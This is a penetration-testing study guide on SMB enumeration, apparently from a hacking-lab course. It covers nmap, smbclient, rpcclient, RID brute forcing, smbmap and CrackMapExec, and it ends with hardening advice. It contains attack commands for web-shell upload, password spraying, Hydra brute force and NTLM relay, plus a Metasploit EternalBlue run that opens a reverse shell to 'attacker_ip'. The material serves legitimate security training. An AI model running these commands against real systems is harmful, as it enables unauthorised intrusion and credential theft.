SMB Enumeration

Protocol Overview

SMB Characteristics:

• Ports: 139 (NetBIOS), 445 (Direct SMB)

• Protocol: TCP-based

• Purpose: File/printer sharing, network resource access

• Implementation: Windows (native), Linux (Samba)

SMB Versions:

Version	Supported OS	Key Features
CIFS/SMB 1.0	Windows NT 4.0/2000	NetBIOS interface, Direct TCP
SMB 2.0	Windows Vista/2008	Performance upgrades, message signing
SMB 2.1	Windows 7/2008 R2	Locking mechanisms
SMB 3.0	Windows 8/2012	Multichannel, end-to-end encryption
SMB 3.1.1	Windows 10/2016	AES-128 encryption, integrity checking

Samba Implementation:

• Purpose: SMB/CIFS implementation for Unix-based systems

• Components: smbd (SMB daemon), nmbd (NetBIOS daemon)

• Active Directory: Full domain controller capabilities (v4+)

Common SMB Configurations

Samba Configuration File

# Main configuration file
cat /etc/samba/smb.conf | grep -v "#\|\;"

[global]
   workgroup = DEV.INFREIGHT.HTB
   server string = DEVSMB
   log file = /var/log/samba/log.%m
   max log size = 1000
   server role = standalone server
   map to guest = bad user
   usershare allow guests = yes

[printers]
   comment = All Printers
   browseable = no
   path = /var/spool/samba
   printable = yes
   guest ok = no

[notes]
   comment = CheckIT
   path = /mnt/notes/
   browseable = yes
   read only = no
   writable = yes
   guest ok = yes

Key Configuration Settings

Setting	Description	Security Impact
[sharename]	Network share name	Enumeration target
workgroup = WORKGROUP	Workgroup/domain name	Domain information
path = /path/here/	Directory path	File system access
server string = STRING	Banner information	Information disclosure
usershare allow guests = yes	Guest access	Anonymous enumeration
map to guest = bad user	Invalid user handling	Authentication bypass
browseable = yes	Share visibility	Share enumeration
guest ok = yes	Anonymous access	Unauthenticated access
read only = no	Write permissions	File upload capability
writable = yes	Write access	Malicious file upload

Dangerous SMB Settings

High-Risk Configurations

browseable = yes              # Allow share listing
read only = no               # Enable write access
writable = yes               # Allow file modification
guest ok = yes               # Anonymous access
enable privileges = yes      # Honor SID privileges
create mask = 0777           # Full permissions for new files
directory mask = 0777        # Full permissions for directories
logon script = script.sh     # Login script execution
magic script = script.sh     # Script on connection close
magic output = script.out    # Script output location

SMB Enumeration Techniques

1. Nmap SMB Scanning

Basic SMB Scan:

# Standard SMB scan
sudo nmap -sV -sC -p139,445 target_ip

# SMB-specific scripts
sudo nmap -p445 --script smb-* target_ip

Available Nmap SMB Scripts:

# Find SMB scripts
find / -name "*smb*" 2>/dev/null | grep scripts

smb-enum-domains.nse           # Domain enumeration
smb-enum-groups.nse            # Group enumeration  
smb-enum-processes.nse         # Process enumeration
smb-enum-sessions.nse          # Session enumeration
smb-enum-shares.nse            # Share enumeration
smb-enum-users.nse             # User enumeration
smb-os-discovery.nse           # OS information
smb-protocols.nse              # Protocol versions
smb-security-mode.nse          # Security settings
smb-server-stats.nse           # Server statistics
smb-system-info.nse            # System information
smb-vuln-*.nse                 # Vulnerability checks

Example Nmap Output:

PORT    STATE SERVICE     VERSION
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2

Host script results:
|_nbstat: NetBIOS name: HTB, NetBIOS user: <unknown>, NetBIOS MAC: <unknown>
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-09-19T13:16:04
|_  start_date: N/A

2. SMBclient Enumeration

Share Listing:

# List shares with null session
smbclient -N -L //target_ip

# Connect to specific share
smbclient //target_ip/sharename

# Anonymous connection
smbclient -N //target_ip/sharename

SMBclient Commands:

# Directory operations
smb: \> ls                    # List directory contents
smb: \> cd directory          # Change directory
smb: \> pwd                   # Current directory
smb: \> mkdir newdir          # Create directory

# File operations  
smb: \> get filename          # Download file
smb: \> put localfile         # Upload file
smb: \> mget *.txt           # Download multiple files
smb: \> del filename          # Delete file

# System commands
smb: \> !ls                   # Execute local command
smb: \> help                  # List available commands

Example SMBclient Session:

smbclient //10.129.14.128/notes
Enter WORKGROUP\username's password: 
Anonymous login successful

smb: \> ls
  .                                   D        0  Wed Sep 22 18:17:51 2021
  ..                                  D        0  Wed Sep 22 12:03:59 2021
  prep-prod.txt                       N       71  Sun Sep 19 15:45:21 2021

smb: \> get prep-prod.txt
getting file \prep-prod.txt of size 71 as prep-prod.txt (8.7 KiloBytes/sec)

smb: \> !cat prep-prod.txt
[] check your code with the templates
[] run code-assessment.py

3. RPCclient Enumeration

RPC Connection:

# Connect with null session
rpcclient -U "" target_ip
rpcclient -N target_ip

# Alternative authentication
rpcclient -U "username" target_ip

RPCclient Commands:

Command	Description
srvinfo	Server information
enumdomains	Enumerate domains
querydominfo	Domain information
netshareenumall	List all shares
netsharegetinfo <share>	Share information
enumdomusers	Enumerate domain users
queryuser <RID>	User information
enumdomgroups	Enumerate groups
querygroup <RID>	Group information

Example RPCclient Session:

rpcclient $> srvinfo
        DEVSMB         Wk Sv PrQ Unx NT SNT DEVSM
        platform_id     :       500
        os version      :       6.1
        server type     :       0x809a03

rpcclient $> enumdomains
name:[DEVSMB] idx:[0x0]
name:[Builtin] idx:[0x1]

rpcclient $> netshareenumall
netname: notes
        remark: CheckIT
        path:   C:\mnt\notes\
        password:

rpcclient $> enumdomusers
user:[mrb3n] rid:[0x3e8]
user:[cry0l1t3] rid:[0x3e9]

rpcclient $> queryuser 0x3e9
        User Name   :   cry0l1t3
        Full Name   :   cry0l1t3
        Home Drive  :   \\devsmb\cry0l1t3
        Profile Path:   \\devsmb\cry0l1t3\profile
        Password last set Time   :      Mi, 22 Sep 2021 17:50:56 CEST

4. User RID Brute Forcing

Bash RID Enumeration:

# Brute force RIDs 500-1100
for i in $(seq 500 1100);do 
    rpcclient -N -U "" target_ip -c "queryuser 0x$(printf '%x\n' $i)" | 
    grep "User Name\|user_rid\|group_rid" && echo ""
done

# Results:
        User Name   :   sambauser
        user_rid :      0x1f5
        group_rid:      0x201
		
        User Name   :   mrb3n
        user_rid :      0x3e8
        group_rid:      0x201

Impacket samrdump.py:

# Automated user enumeration
samrdump.py target_ip

# Example output:
Found user: mrb3n, uid = 1000
Found user: cry0l1t3, uid = 1001
mrb3n (1000)/FullName: 
mrb3n (1000)/PasswordLastSet: 2021-09-22 17:47:59
cry0l1t3 (1001)/FullName: cry0l1t3
cry0l1t3 (1001)/PasswordLastSet: 2021-09-22 17:50:56

5. Advanced SMB Tools

SMBMap:

# Basic share enumeration
smbmap -H target_ip

# With credentials
smbmap -H target_ip -u username -p password

# Recursive directory listing
smbmap -H target_ip -R

# Example output:
[+] IP: 10.129.14.128:445       Name: 10.129.14.128                                     
        Disk                                    Permissions     Comment
        ----                                    -----------     -------
        print$                                  NO ACCESS       Printer Drivers
        home                                    NO ACCESS       INFREIGHT Samba
        dev                                     NO ACCESS       DEVenv
        notes                                   READ,WRITE      CheckIT
        IPC$                                    NO ACCESS       IPC Service (DEVSM)

CrackMapExec:

# Share enumeration
crackmapexec smb target_ip --shares -u '' -p ''

# User enumeration  
crackmapexec smb target_ip -u '' -p '' --users

# Password spraying
crackmapexec smb target_ip -u users.txt -p passwords.txt

# Example output:
SMB         10.129.14.128   445    DEVSMB    [+] Enumerated shares
SMB         10.129.14.128   445    DEVSMB    Share           Permissions     Remark
SMB         10.129.14.128   445    DEVSMB    notes           READ,WRITE      CheckIT

Enum4Linux-ng:

# Installation
git clone https://github.com/cddmp/enum4linux-ng.git
cd enum4linux-ng
pip3 install -r requirements.txt

# Comprehensive enumeration
./enum4linux-ng.py target_ip -A

# Specific enumeration
./enum4linux-ng.py target_ip -U  # Users
./enum4linux-ng.py target_ip -S  # Shares
./enum4linux-ng.py target_ip -G  # Groups

SMB Security Issues

1. Anonymous Access

• Risk: Unauthorized share access and information disclosure

• Detection: Null session connections

• Exploitation: Data theft, user enumeration

2. Weak Authentication

• Risk: Credential-based attacks

• Detection: Password spraying, brute force

• Exploitation: Account compromise

3. Excessive Share Permissions

• Risk: Unauthorized file access/modification

• Detection: Permission enumeration

• Exploitation: Data manipulation, malware deployment

4. Information Disclosure

• Risk: Sensitive data exposure

• Detection: Share browsing, file enumeration

• Exploitation: Intelligence gathering

SMB Attack Vectors

1. Share Exploitation

# File upload for web shells
smbclient //target/webshare
smb: \> put shell.php

# Configuration file access
smbclient //target/config
smb: \> get database.conf

2. Password Attacks

# Hydra SMB brute force
hydra -l user -P passwords.txt smb://target_ip

# CrackMapExec password spraying
crackmapexec smb target_ip -u users.txt -p 'Password123!'

3. Relay Attacks

# SMB relay with Responder
responder -I eth0 -A

# ntlmrelayx.py for relay attacks
ntlmrelayx.py -tf targets.txt -smb2support

Common Vulnerabilities

Critical SMB CVEs

CVE	Name	Impact	Affected Versions
CVE-2017-0144	EternalBlue	Remote Code Execution	Windows Vista - Windows 10, Server 2008-2016
CVE-2020-0796	SMBGhost (CoronaBlue)	Remote Code Execution	Windows 10 v1903/v1909, Server v1903/v1909
CVE-2017-7494	SambaCry	Remote Code Execution	Samba 3.5.0 - 4.6.4/4.5.10/4.4.14
CVE-2016-2118	Badlock	Man-in-the-Middle	Windows/Samba NTLM authentication
CVE-2017-12149	SMBLoris	Denial of Service	Windows SMB implementations

EternalBlue (CVE-2017-0144)

# Nmap EternalBlue detection
nmap -p445 --script smb-vuln-ms17-010 target

# Metasploit exploitation
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS target
set payload windows/x64/meterpreter/reverse_tcp
set LHOST attacker_ip
exploit

# Manual verification
python checker.py target 445

SMBGhost (CVE-2020-0796)

# Detection script
nmap -p445 --script smb-vuln-cve2020-0796 target

# Proof of concept
python3 cve-2020-0796.py target

# Metasploit module
use auxiliary/scanner/smb/smb_ms20_004
set RHOSTS target
run

SambaCry (CVE-2017-7494)

# Vulnerability detection
nmap -p445 --script smb-vuln-cve2017-7494 target

# Manual check
smbclient //target/share -N
smb: \> allinfo /path/to/shared/library.so

# Exploitation requirements:
# - Samba version 3.5.0+
# - File upload to SMB share
# - Knowledge of share path on server

Badlock (CVE-2016-2118)

# NTLM authentication weaknesses
# Man-in-the-middle attacks on SMB authentication
# Affects both Windows and Samba implementations

# Detection
enum4linux-ng.py target -A | grep -i "signing"
rpcclient -N target -c "getdcname"

Additional SMB Vulnerabilities

• CVE-2008-4250: MS08-067 Conficker vulnerability

• CVE-2017-0145: EternalBlue variant (MS17-010)

• CVE-2017-0146: EternalBlue variant (MS17-010)

• CVE-2019-0708: BlueKeep (RDP, but often found with SMB)

• CVE-2020-1472: Zerologon (NetLogon, SMB-related)

Vulnerability Scanning

# Comprehensive SMB vulnerability scan
nmap -p445 --script smb-vuln-* target

# Specific vulnerability checks
nmap -p445 --script smb-vuln-ms17-010 target        # EternalBlue
nmap -p445 --script smb-vuln-cve2020-0796 target    # SMBGhost
nmap -p445 --script smb-vuln-cve2017-7494 target    # SambaCry

# Metasploit auxiliary scanners
use auxiliary/scanner/smb/smb_ms17_010              # EternalBlue scanner
use auxiliary/scanner/smb/smb_ms20_004              # SMBGhost scanner

SMB Enumeration Checklist

Initial Reconnaissance

• Port scanning (139, 445)

• SMB version identification

• NetBIOS name enumeration

• Null session testing

Share Enumeration

• Share listing and access testing

• Permission analysis

• File and directory enumeration

• Sensitive file discovery

User Enumeration

• RID cycling for user discovery

• User information gathering

• Group membership analysis

• Password policy enumeration

Authentication Testing

• Anonymous access testing

• Default credential testing

• Password spraying

• Brute force attacks

Advanced Testing

• SMB relay attack testing

• Vulnerability scanning

• Configuration analysis

• Privilege escalation vectors

Tools for SMB Enumeration

Built-in Tools

# SMB client
smbclient -L //target_ip

# RPC client
rpcclient -U "" target_ip

# NetBIOS enumeration
nmblookup -A target_ip

Specialized Tools

# SMBMap
smbmap -H target_ip

# CrackMapExec
crackmapexec smb target_ip --shares

# Enum4Linux-ng
enum4linux-ng.py target_ip -A

# Impacket tools
samrdump.py target_ip
smbexec.py domain/user:pass@target_ip

Nmap Scripts

# Comprehensive SMB scan
nmap -p445 --script smb-enum-*,smb-vuln-*,smb-os-discovery target_ip

Defensive Measures

SMB Server Hardening

• Disable SMBv1 - Use SMBv2/v3 only

• Restrict anonymous access - Disable null sessions

• Implement strong authentication - Kerberos, NTLM restrictions

• Use share-level permissions - Principle of least privilege

• Enable message signing - Prevent tampering

• Regular security updates - Patch known vulnerabilities

Network Security

• Firewall restrictions - Block SMB ports externally

• Network segmentation - Isolate file servers

• Monitor SMB traffic - Detect anomalies

• Implement SMB over VPN - Secure remote access